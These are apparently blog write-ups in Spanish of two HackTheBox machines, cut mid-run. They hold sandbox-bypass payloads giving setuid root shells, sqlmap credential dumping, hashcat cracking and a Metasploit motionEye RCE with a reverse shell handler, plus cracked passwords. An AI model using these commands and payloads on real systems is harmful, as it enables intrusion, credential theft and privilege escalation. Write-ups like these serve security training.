14 auctioneer@gavel:/usr/local/bin$ gavel-util Usage: gavel-util \u0026lt;cmd\u0026gt; [options] Commands: submit \u0026lt;file\u0026gt; Submit new items (YAML format) stats Show Auction stats invoice Request invoice auctioneer@gavel:/usr/local/bin$ gavel-util stats =================== GAVEL AUCTION DASHBOARD =================== [Active Auctions] ID Item Name Current Bid Ends In 355 Amulet of Slight Luck 1608 01:35 356 Cursed Mirror Shard 1469 01:58 357 Potion of Eternal Wakefulness 1149 01:58 Además encontramos un directorio /opt/gavel con varios archivos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 auctioneer@gavel:/opt/gavel$ tree -a . ├── .config │ └── php │ └── php.ini ├── gaveld ├── sample.yaml └── submission [error opening dir] $ file gaveld gaveld: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3b8b1b784b45ddabaf9ca56b06b62d4f59f68a0d, for GNU/Linux 3.2.0, not stripped $ cat /opt/gavel/.config/php/php.ini engine=On display_errors=On display_startup_errors=On log_errors=Off error_reporting=E_ALL open_basedir=/opt/gavel memory_limit=32M max_execution_time=3 max_input_time=10 disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client scan_dir= allow_url_fopen=Off allow_url_include=Off $ cat sample.yaml --- item: name: \u0026#34;Dragon\u0026#39;s Feathered Hat\u0026#34; description: \u0026#34;A flamboyant hat rumored to make dragons jealous.\u0026#34; image: \u0026#34;https://example.com/dragon_hat.png\u0026#34; price: 10000 rule_msg: \u0026#34;Your bid must be at least 20% higher than the previous bid and sado isn\u0026#39;t allowed to buy this item.\u0026#34; rule: \u0026#34;return ($current_bid \u0026gt;= $previous_bid * 1.2) \u0026amp;\u0026amp; ($bidder != \u0026#39;sado\u0026#39;);\u0026#34; Si nos fijamos, el archivo gaveld es además un servicio en ejecución ejecutándose como root:\n1 2 3 auctioneer@gavel:/opt/gavel/.config/php$ ps aux | grep gavel root 1001 0.0 0.1 19128 6084 ? Ss Mar10 0:00 /opt/gavel/gaveld ... Si miramos exactamente qué syscalls hace gavel-util stats cuando lo ejecutamos:\n1 2 3 4 auctioneer@gavel:/opt/gavel/.config/php$ strace -e trace=file,network,ipc -s 1000 gavel-util stats ...[SNIP]... socket(AF_UNIX, SOCK_STREAM, 0) = 3 connect(3, {sa_family=AF_UNIX, sun_path=\u0026#34;/var/run/gaveld.sock\u0026#34;}, 110) = 0 Vemos que efectivamente intenta conectarse con /var/run/gaveld.sock (un socket de Unix), que, dado el nombre, podemos intuir que es /opt/gavel/gaveld.\nReverse Engineering # Es muy probable que simplemente hubiese que fijarse en cómo reaccionan gaveld y gavel-util ante ciertos inputs, y simplemente mandar uno malicioso una vez se supiese qué les podría hacer fallar, pero por curiosidad, decido copiar gavel-util a mi máquina Kali y descompilarlo con Ghidra.\nAhí encuentro varias funciones:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // MAIN(): Crea un socket Unix \u0026#34;/var/run/gaveld.sock\u0026#34; y lo pone en escucha, hace que solo root y los usuarios del grupo // gavel-seller puedan conectarse. Cuando llega una conexión, hace fork() y la manda a handle_conn() int main(void); // HANDLE_CONN(): Comprueba que el usuario que se conecta es o root o del grupo gavel-seller. Parsea el contenido leído // como un objeto JSON. Extrae el campo \u0026#34;op\u0026#34; y comprueba que sea \u0026#34;submit\u0026#34; o \u0026#34;stats\u0026#34;, hace una cosa u otra // en función del valor. void handle_conn(int socket); // PHP_SAFE_RUN(): Busca una configuración php.ini, genera un payload usando un parámetro de la función, hace un fork // y ejecuta (como hijo) el código PHP. Al terminar, el padre devuelve 0 o 1 en fn de si el proceso // hijo termina bien o no. long php_safe_run(undefined8 ptr_to_json_obj_src, undefined8 arg_formato, char *addr_buffer, long sizebuffer); // READN(): Intenta escribir \u0026#34;buffersize\u0026#34; datos del fd hacia el buffer, hasta que no quedan más datos por escribir. long readn(int fd, void *buffer, size_t maxBytesToRead); // WRITEN(): Intenta escribir \u0026#34;buffersize\u0026#34; datos guardados en el buffer hacia el fd, hasta que no quedan // más datos por escribir. long writen(int fd, void *buffer, size_t buffersize); // SEND_RESPONSE(): Manda la longitud de \u0026#34;string\u0026#34; al fd primero (4 bytes), acto seguido manda el string entero // en Big-Endian (Hace uso de writen y readn). void send_response(int fd, char *string); Tenemos varias funciones, pero las más relevantes son handle_conn() y php_safe_run().\nResumen funcionamiento gaveld # El proceso de vida del daemon y en específico de una regla que pasamos con submit sería el siguiente:\nINICIO DEL DAEMON y CONEXIÓN main() crea el socket /var/run/gaveld.sock y lo pone en escucha. Luego espera conexiones entrantes. Cuando llega una conexión, crea un proceso hijo y la redirige a él. El proceso hijo inicia handle_conn() handle_conn() comprueba usuario y grupo de quien se conecta, si es correcto parsea el contenido recibido como un objeto JSON. Del objeto JSON saca el campo \u0026ldquo;op\u0026rdquo;, que debe ser \u0026ldquo;submit\u0026rdquo; o \u0026ldquo;stats\u0026rdquo;, si no da error. PARSEO YAML, PASO A PHP_SAFE_RUN Si el campo es \u0026ldquo;submit\u0026rdquo;, inicia un parser de YAML que extrae los valores name, description, image, price, rule_msg y rule del cuerpo. Si todos los campos existen y la longitud de rule es menor a 1KiB, se pasa la regla a php_safe_run() EJECUCIÓN DE LA REGLA Busca una clave \u0026ldquo;env\u0026rdquo; y dentro una subclave \u0026ldquo;RULE_PATH\u0026rdquo;. Si NO la encuentra, usa el valor default /opt/gavel/.config/php/php.ini, si la encuentra, usa el archivo al que señale. Toma el parámetro arg_formato pasado a la función y formatea una string usándolo en un placeholder: 1 2 3 4 5 __snprintf_chk(destino,0x2000,1,0x2000, \u0026#34;function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder=\\\u0026#39;%s\\\u0026#39;;%s};$ res = __sandbox_eval();if(!is_bool($res)) { echo \\\u0026#39;SANDBOX_RETURN_ERROR\\\u0026#39;; }else if ($res) { echo \\\u0026#39;ILLEGAL_RULE\\\u0026#39;; }\u0026#34; ,0x96,200,\u0026#34;Shadow21A\u0026#34;,arg_formato); // Guarda el string formateado en la variable \u0026#34;destino\u0026#34; Que en PHP haría\n1 2 3 4 5 6 7 8 9 function __sandbox_eval() { $previous_bid=150; // 0x96 $current_bid=200; $bidder=\u0026#39;Shadow21A\u0026#39;; %s }; $ res = __sandbox_eval(); if(!is_bool($res)) { echo \u0026#39;SANDBOX_RETURN_ERROR\u0026#39;; } else if ($res) { echo \u0026#39;ILLEGAL_RULE\u0026#39;; } Posteriormente, hace:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 args[0] = \u0026#34;/usr/bin/php\u0026#34;; args[1] = \u0026#34;-n\u0026#34;; args[2] = \u0026#34;-c\u0026#34;; args[3] = (char *)(args + 0x12); // Previamente se ha copiado a esta componente el string del .ini args[4] = \u0026#34;-d\u0026#34;; args[5] = \u0026#34;display_errors=1\u0026#34;; args[6] = \u0026#34;-r\u0026#34;; args[7] = destino; // Código PHP a ejecutar (el de arriba, de __sandbox_eval()) args[8] = (char *)0x0; pipe = ::pipe(\u0026amp;FD_pipe); if (-1 \u0026lt; pipe) { PID_Hijo = fork(); if (PID_Hijo \u0026lt; 0) { close(FD_pipe); close(file_descriptor); } else { ... // Pone limiaciones de recursos: Tiempo de CPU (Max: 2s), memoria y demás. resource_limit.rlim_cur = 4; setrlimit(__RLIMIT_NPROC,\u0026amp;resource_limit); execv(args[0],args); Esto ejecuta en el shell el array args, que resulta ser esto:\n1 /usr/bin/php -n -c \u0026lt;ruta_ini\u0026gt; -d display_errors=1 -r \u0026lt;código_php\u0026gt; Analizando gavel-util # Dado que sabemos que el php.ini por defecto bloquea funciones peligrosas y limita nuestro directorio operativo:\n1 2 3 $ grep \u0026#34;disable_functions\u0026#34; /opt/gavel/.config/php/php.ini open_basedir=/opt/gavel # No podemos hace nada fuera de /opt/gavel disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client Es necesario pasar un parámetro en el json con la ruta a un php.ini arbitrario que no contenga estas limitaciones. El problema es que nosotros no especificamos los datos del json, sino que de eso se encarga el cliente gavel-util. Para ello, podemos mirar cómo funciona gavel-util por dentro. Tras descompilar parte de su código y relacionarlo con el de gaveld, su funcionamiento (al usar submit) es algo así:\nComprueba que el archivo sea del tamaño (\u0026lt;10MB) y formato adecuado. Abre el archivo y deja todo su contenido en un buffer. Construye un json de la siguiente forma: 1 2 3 4 5 6 7 { \u0026#34;op\u0026#34;: \u0026#34;submit\u0026#34;, \u0026#34;filename\u0026#34;: \u0026lt;nombre_archivo\u0026gt;, \u0026#34;flags\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;content_length\u0026#34;: \u0026lt;tamaño_archivo_en_bytes\u0026gt;, \u0026#34;env\u0026#34;: \u0026lt;lo_que_devuelva_la_función_collect_env()\u0026gt; } Y, tras mirar la función collect_env(), vemos que toma las variables de entorno y las guarda en un objeto json. Esto significa que ni siquiera hace falta que creemos un script que simule gavel-util, basta con ejecutarlo con la variable de entorno RULE_PATH puesta a cualquier valor que queramos.\nExplotación # Creamos un ex.yaml:\n1 2 3 4 5 6 7 auctioneer@gavel:/usr/local/bin$ cat /tmp/phpini/ex.yaml name: \u0026#34;boligrafo con tapa\u0026#34; description: \u0026#34;para que no se seque la tinta\u0026#34; image: \u0026#34;https://example.com:9999/boli\u0026#34; price: 2 rule_msg: \u0026#34;Your bid must be at least 20% mucho texto\u0026#34; rule: \u0026#39;shell_exec(\u0026#34;cp /bin/bash /tmp/rootbash \u0026amp;\u0026amp; chmod +s /tmp/rootbash\u0026#34;); return true;\u0026#39; Ponemos RULE_PATH a un archivo cualquiera que exista, no necesariamente con un formato de php.ini válido. gaveld simplemente buscaba el archivo, miraba que existiese y comprobaba que tuviese permisos, pero si lo encuentra, lo intenta leer, y no lo entiende, simplemente lo tomará como una configuración \u0026ldquo;vacía\u0026rdquo;, es decir, sin restricciones. Ejecutamos gavel-util:\n1 2 auctioneer@gavel:/usr/local/bin$ RULE_PATH=/etc/passwd /usr/local/bin/gavel-util submit /tmp/phpini/ex.yaml Item submitted for review in next auction Pero si buscamos, no aparece nada.\nTras una búsqueda por internet y un rato de debugging, veo que puede ser por dos motivos a la vez:\nSi el binario se ejecuta mediante systemd, es posible que tenga la directiva PrivateTmp=yes, que hace que tenga su propio directorio privado en /tmp y no pueda acceder a otros allí porque cree que su directorio privado es el /tmp real. No puede escribir a \u0026ldquo;nuestro\u0026rdquo; /tmp. Solución: Usar otro directorio, p.ej /opt/gavel El binario del daemon tenía unos límites muy estrictos de memoria, tiempo de cpu y, sobre todo, número de procesos hijos: Un máximo de 4. Si por algún motivo se ha llegado ya al límite, cualquier cosa con shell_exec() o exec() no funcionará porque implica crear un proceso hijo del shell. Solución: Usar funciones de php directamente que no creen procesos hijos (como copy() o chmod()). Así que modificamos el payload:\n1 2 3 4 5 6 name: \u0026#34;boligrafo con tapa\u0026#34; description: \u0026#34;para que no se seque la tinta\u0026#34; image: \u0026#34;https://example.com:9999/boli\u0026#34; price: 2 rule_msg: \u0026#34;Your bid must be at least 20% mucho texto\u0026#34; rule: \u0026#39;copy(\u0026#34;/bin/bash\u0026#34;, \u0026#34;/opt/gavel/rootbash\u0026#34;); chmod(\u0026#34;/opt/gavel/rootbash\u0026#34;, 04777); return true;\u0026#39; Probamos a mandarlo de nuevo:\n1 2 3 4 5 6 7 8 auctioneer@gavel:/usr/local/bin$ RULE_PATH=/etc/passwd gavel-util submit /tmp/phpini/ex.yaml Item submitted for review in next auction auctioneer@gavel:/usr/local/bin$ ls -la /opt/gavel/rootbash -rwsrwxrwx 1 root root 1396520 Mar 12 22:36 /opt/gavel/rootbash auctioneer@gavel:/usr/local/bin$ /opt/gavel/rootbash -p rootbash-5.1# Y tenemos root.\n","date":"12 de marzo de 2026","externalUrl":null,"permalink":"/writeups/gavel/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: SQLi, PHP PDO, Reversing, Custom Binary","title":"HackTheBox - Gavel","type":"writeups"},{"content":"","date":"12 de marzo de 2026","externalUrl":null,"permalink":"/tags/pdo/","section":"Tags","summary":"","title":"PDO","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~1.5h Datos Iniciales: 10.129.3.35 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 $ nmap -sT -Pn --disable-arp-ping -p22,80 -sVC --open cctv.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA) 80/tcp open http Apache httpd 2.4.58 |_http-title: SecureVision CCTV \u0026amp; Security Solutions Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel #Nada en UDP Tenemos 2 puertos:\n22/tcp (SSH): Nada relevante, versión no vulnerable. 80/tcp (HTTP): Única alternativa que podemos mirar. Al parecer un servicio de cámaras de vigilancia (SecureVision CCTV). HTTP # Al entrar, encontramos una página de un servicio SecureVision que se encarga, al parecer, de proporcionar \u0026ldquo;soluciones de seguridad\u0026rdquo; a sus clientes: CCTV, Control de acceso, consultas a profesionales, puertas de seguridad, keypads\u0026hellip;\nEn la página solo encontramos los botones Staff Login y Get a Quote, pero el segundo nos lleva a mandar un email, así que pulsamos el primero a ver a dónde nos lleva.\nVemos que estamos en un panel de login de la aplicación ZoneMinder, si pulsamos del texto ZoneMinder arriba a la izquierda (naranja), se abre un desplegable con los botones ZoneMinder, Documentation y Support. Aunque los 3 botones nos lleven a páginas externas, desde ellas podemos saber qué es ZoneMinder:\nZoneMinder is a free, open source Closed-circuit television software application developed for Linux which supports IP, USB and Analog cameras.\nEn Internet veo que es posible conseguir la versión con un solicitud a su API:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ curl -s http://cctv.htb/zm/api/host/getVersion.json | jq { \u0026#34;success\u0026#34;: false, \u0026#34;data\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Not Authenticated\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Not Authenticated\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;/zm/api/host/getVersion.json\u0026#34;, \u0026#34;exception\u0026#34;: { \u0026#34;class\u0026#34;: \u0026#34;UnauthorizedException\u0026#34;, \u0026#34;code\u0026#34;: 401, \u0026#34;message\u0026#34;: \u0026#34;Not Authenticated\u0026#34; } } } Pero, desgraciadamente, no tenemos permiso para verla. De todas formas, busco en Internet de nuevo y veo:\nZoneMinder\u0026rsquo;s default credentials for the web interface are username admin and password admin. It is highly recommended to change these immediately upon setup via the Options \u0026gt; Users menu to secure the system.\nLas pruebo y: Ahora sí solicito la versión:\n1 2 3 4 5 6 # Tomando la cookie de sesión desde Firefox (podía haber solicitado a la API directamente desde ahí) $ curl -s http://cctv.htb/zm/api/host/getVersion.json --cookie \u0026#34;ZMSESSID=h251pgm92tcs091oth3lu25e7r\u0026#34;| jq { \u0026#34;version\u0026#34;: \u0026#34;1.37.63\u0026#34;, \u0026#34;apiversion\u0026#34;: \u0026#34;2.0\u0026#34; } Así que tenemos delante a ZoneMinder 1.37.63, que, tras una búsqueda, cuenta con un CVE 9.9 CRITICAL: CVE-2024-51482.\nBlind Boolean-Based SQLi # Se trata de una boolean based SQLi, es decir, que si lo hiciésemos manualmente nos costaría un rato (bastante largo) conseguir los hashes de la DB, así que usamos SQLMap (que también usan en el propio report de la vulnerabilidad en GitHub):\n1 $ sqlmap -u \u0026#39;http://cctv.htb/zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1\u0026#39; --cookie=\u0026#34;ZMSESSID=h251pgm92tcs091oth3lu25e7r\u0026#34; Como vamos a tardar años en que una blind boolean-based nos devuelva toda la DB y aprovechando que ZoneMinder es vulnerable, lo que podemos hacer es mirar el nombre de la DB y de la tabla en que se guardan las credenciales y hacer que sólamente se dumpee eso. Tras mirar en Internet:\nZoneMinder saves user credentials (usernames and hashed passwords) in a MySQL/MariaDB database named zm. The table name is Users and the column names are Username and Password\n1 2 3 4 5 6 7 8 9 10 11 $ sqlmap -u \u0026#39;http://cctv.htb/zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1\u0026#39; --cookie=\u0026#34;ZMSESSID=h251pgm92tcs091oth3lu25e7r\u0026#34; -D \u0026#34;zm\u0026#34; -T \u0026#34;Users\u0026#34; -C \u0026#34;Username,Password\u0026#34; --dump --batch # Y dejamos que trabaje un rato. +------------+--------------------------------------------------------------+ | Username | Password | +------------+--------------------------------------------------------------+ | superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm | | mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. | | admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m | +------------+--------------------------------------------------------------+ Crackeando los hashes # Los hashes son BCrypt ($2y$) con 1024 iteraciones ($10$ = $$2^{10}$$), con salt de 22 caracteres y hash de 31.\nLos metemos a hashcat:\n1 2 3 4 $ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m:admin Tenemos admin:admin y mark:opensesame\nPrivesc - SSH # admin:admin son las credenciales por defecto que nos han permitido enumerar la versión, pero mark:opensesame son más \u0026ldquo;personales\u0026rdquo;. Probamos a conectarnos por ssh:\n1 2 3 4 5 $ ssh mark@cctv.htb mark@cctv.htb\u0026#39;s password: Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) mark@cctv:~$ Ejecutamos LinPEAS, anotamos lo siguente:\nMuchas interfaces de red vethb9136e0, veth54ff6b7, br-3e74116c4022, etc. Posiblemente sean containers de Docker, de hecho LinPeas ha detectado Docker, pero no que estuviésemos en un container, así que es posible que haya containers ejecutándose. br-... es un puente para que los containers se comuniquen entre ellos. veth... son interfaces para unir cada container al puente Puertos en local: 1 2 3 4 5 6 7 8 tcp LISTEN 0 4096 127.0.0.1:7999 tcp LISTEN 0 4096 127.0.0.1:1935 tcp LISTEN 0 151 127.0.0.1:3306 tcp LISTEN 0 4096 127.0.0.1:9081 tcp LISTEN 0 128 127.0.0.1:8765 tcp LISTEN 0 4096 127.0.0.1:8888 tcp LISTEN 0 4096 127.0.0.1:8554 tcp LISTEN 0 70 127.0.0.1:33060 Forwarding: net.ipv4.ip_forward = 1 IP forwarding, necesario para que los containers se comuniquen con el exterior. Files with capabilities: 1 2 3 4 5 6 7 8 9 Files with capabilities (limited to 50): /snap/core22/2292/usr/bin/ping cap_net_raw=ep /snap/snapd/25935/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p /snap/core24/1349/usr/bin/ping cap_net_raw=ep /usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep /usr/bin/mtr-packet cap_net_raw=ep /usr/bin/tcpdump cap_net_raw=eip /usr/bin/ping cap_net_raw=ep No parece haber nada relevante.\nIdentificando servicios de red # No tenemos nada que parezca un vector de escalada de privilegios directo, pero podemos usar tcpdump para ponernos en escucha y capturar info de las interfaces de red, que no son pocas. Primero tenemos que ver qué hace cada una.\nHacemos port forwarding a los puertos locales y los analizamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 PORT STATE SERVICE VERSION 1935/tcp open rtmp? 3306/tcp open mysql MySQL 8.0.45-0ubuntu0.24.04.1 7999/tcp open irdmi2? | fingerprint-strings: | FourOhFourRequest: server did not understand your request. # no es \u0026#34;FourOhFour\u0026#34; | GetRequest: | HTTP/1.1 200 OK | Motion 4.7.1 Running [1] Camera # Identificado -\u0026gt; Motion 4.7.1 | RTSPRequest: HTTP/1.1 400 Bad Request # no es RTSP | SIPOptions: HTTP/1.1 400 Bad Request # no es SIP 8554/tcp open http IDentifier NameTracer Pro httpd |_http-title: Site doesn\u0026#39;t have a title. 8765/tcp open ultraseek-http? | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 Not Found | Server: motionEye/0.43.1b4 # Identificado -\u0026gt; motionEye/0.43.1b4 | Content-Type: application/json ...[SNIP]... | \u0026lt;link rel=\u0026#34;shortcut icon\u0026#34; href=\u0026#34;static/img/motioneye-logo.svg\u0026#34;\u0026gt; | \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; href=\u0026#34;static/ | HTTPOptions: | HTTP/1.1 405 Method Not Allowed | Server: motionEye/0.43.1b4 | Content-Type: application/json | Date: Sun, 08 Mar 2026 22:40:49 GMT | Content-Length: 41 |_ {\u0026#34;error\u0026#34;: \u0026#34;HTTP 405: Method Not Allowed\u0026#34;} 8888/tcp open http Golang net/http server |_http-cors: GET OPTIONS |_http-title: Site doesn\u0026#39;t have a title (text/plain). |_http-trane-info: Problem with XML parsing of /evox/about | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 301 Moved Permanently | Access-Control-Allow-Credentials: true | Access-Control-Allow-Origin: * | Location: /nice ports,/Trinity.txt.bak/ | Server: mediamtx # Identificado -\u0026gt; mediamtx | Date: Sun, 08 Mar 2026 22:40:48 GMT | Content-Length: 0 | GenericLines, Help, LPDString, LSCP, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 404 Not Found | Access-Control-Allow-Credentials: true | Access-Control-Allow-Origin: * | Content-Type: text/plain | Server: mediamtx | Date: Sun, 08 Mar 2026 22:40:48 GMT | Content-Length: 18 |_ page not found |_http-server-header: mediamtx 9081/tcp open cisco-aqos? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Date: Sun, 08 Mar 2026 22:40:54 GMT | Connection: close | Content-Type: multipart/x-mixed-replace; boundary=BoundaryString | --BoundaryString | Content-type: image/jpeg # Devuelve imagen, Posible cámara de seguridad? | Content-Length: 10543 | JFIF # Tipo JFIF | Exif | 0220 | 2026:03:08 22:40:54 | 2026:03:08 22:40:54 | $3br | %\u0026amp;\u0026#39;()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz |_ \u0026amp;\u0026#39;()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz 33060/tcp open mysqlx MySQL X protocol listener Si desde la máquina víctima hacemos curl a cada uno de los puertos (ignorando 3306,33060 que son de MySQL):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mark@cctv:~$ for i in $(netstat -tunlp | awk \u0026#39;{print $4}\u0026#39; | grep 127.0.0.1); do (echo \u0026#34;ESCANEANDO $i\u0026#34; \u0026amp;\u0026amp; curl -s $i); done ESCANEANDO 127.0.0.1:7999 Motion 4.7.1 Running [1] Camera 1 ESCANEANDO 127.0.0.1:1935 # No devuelve nada ESCANEANDO 127.0.0.1:9081 # No devuelve nada ESCANEANDO 127.0.0.1:8765 # Devuelve HTML \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;\u0026gt; ...[SNIP]... ESCANEANDO 127.0.0.1:8888 # Devuelve HTML 404 page not found ESCANEANDO 127.0.0.1:8554 # Nada Si accedemos a los puertos desde Firefox, podemos encontrar cosas interesantes:\nPuerto 9081 (el que respondía con imagen): Puerto 8888 (MediaMTX): Si conseguimos encontrar el endpoint correcto podríamos conseguir poder ver otra cámara tan interesante como la anterior. Puerto 8765 (motionEye) De momento, y tras una búsqueda de los servicios en Internet, tenemos lo siguiente:\n127.0.0.1:7999: Motion 4.7.1 (Github) Motion is a program that monitors the signal from video cameras and detects changes in the images. 127.0.0.1:1935: MediaMTX (RTMP Publishing) 127.0.0.1:9081: ? Pero devuelve imágenes, posible CCTV. 127.0.0.1:8765: motionEye/0.43.1b4 (Github) motionEye is a web frontend for the motion daemon, written in Python. 127.0.0.1:8888: MediaMTX (Github) MediaMTX is a ready-to-use and zero-dependency live media server and media proxy. It has been conceived as a “media router” that routes media streams from one end to the other. 127.0.0.1:8554: MediaMTX (Conexiones RTSP) Miramos si hay vulnerabilidades para alguna:\nMotion 4.7.1 no es vulnerable motionEye/0.43.1b4 es vulnerable a CVE-2025-60787 y CVE-2025-47782 (RCE en función add_camera) Hay incluso módulos de Metasploit: exploit/linux/http/motioneye_auth_rce_cve_2025_60787 De MediaMTX no tenemos versión así que no podemos saberlo CVE-2025-60787 # Vamos a por motionEye:\n1 2 3 4 5 6 7 8 9 10 $ msfconsole msf \u0026gt; use exploit/linux/http/motioneye_auth_rce_cve_2025_60787 msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) \u0026gt; show options Module options (exploit/linux/http/motioneye_auth_rce_cve_2025_60787): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes The password used to authenticate to MotionEye ...[SNIP]... Necesitamos contraseña para ejecutarlo, así que buscamos credenciales por defecto, que resultan ser admin:\u0026quot;\u0026quot; (contraseña vacía), pero probamos y sale Invalid credentials.. Buscamos en otros archivos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mark@cctv:~$ cd /etc/motioneye/ mark@cctv:/etc/motioneye$ ls camera-1.conf motion.conf motioneye.conf mark@cctv:/etc/motioneye$ cat motion.conf # @admin_username admin # @normal_username user # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 # @lang en # @enabled on # @normal_password setup_mode off webcontrol_port 7999 webcontrol_interface 1 webcontrol_localhost on webcontrol_parms 2 camera camera-1.conf Probamos con user:\u0026quot;\u0026quot;, y: Ahora volvemos a Metasploit\n1 2 3 4 5 6 7 8 # Configuramos todo... msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.64:4444 [*] Running automatic check (\u0026#34;set AutoCheck false\u0026#34; to disable) [+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable [*] Adding malicious camera... [-] Exploit aborted due to failure: unexpected-reply: 127.0.0.1:8765 Server did not respond with the expected HTTP 200 [*] Exploit completed, but no session was created. Posiblemente sea porque con cuenta de usuario no nos deja explotar la vulnerabilidad, aunque, de todas formas, si, como vemos en el archivo, admin_password y admin_username están comentados (#), debería dejarnos iniciar sesión con las credenciales por defecto admin:\u0026quot;\u0026quot; porque, de nuevo, las del archivo no deberían tener efecto, pero no nos deja.\nTodo esto es raro porque el hash 989c5a8ee87a0e9521ec81a79187d162109282f0 no parece poderse descifrar fácilmente (Si lo pasamos a Crackstation, dice que no puede descifrarlo). Además, si metemos el hash a hashid:\n1 2 3 4 5 6 7 8 9 10 11 $ hashid 989c5a8ee87a0e9521ec81a79187d162109282f0 Analyzing \u0026#39;989c5a8ee87a0e9521ec81a79187d162109282f0\u0026#39; [+] SHA-1 # Este es el caso [+] Double SHA-1 [+] RIPEMD-160 [+] Haval-160 [+] Tiger-160 [+] HAS-160 [+] LinkedIn [+] Skein-256(160) [+] Skein-512(160) Y de entre todos estos, podemos filtrar a uno específico con una búsqueda:\nMotionEye stores the web‑interface admin password using SHA‑1 hashing\nPero ni siquiera con hashcat consigo descifrarlo, lo que no tiene mucho sentido porque no parece haber otra vía para escalar privilegios.\nTras un rato (no despreciable), pruebo a usar el \u0026ldquo;hash\u0026rdquo; no como hash, sino como contraseña, es decir, pruebo a iniciar sesión con la combinación admin:989c5a8ee87a0e9521ec81a79187d162109282f0:\nY confirmamos que no era un hash, sino que se trataba de la contraseña en texto plano. Así que volvemos a Metasploit y ajustamos la configuración:\n1 2 3 4 msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) \u0026gt; set username admin username =\u0026gt; admin msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) \u0026gt; set password 989c5a8ee87a0e9521ec81a79187d162109282f0 password =\u0026gt; 989c5a8ee87a0e9521ec81a79187d162109282f0 Luego ejecutamos el exploit y\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.64:4444 [*] 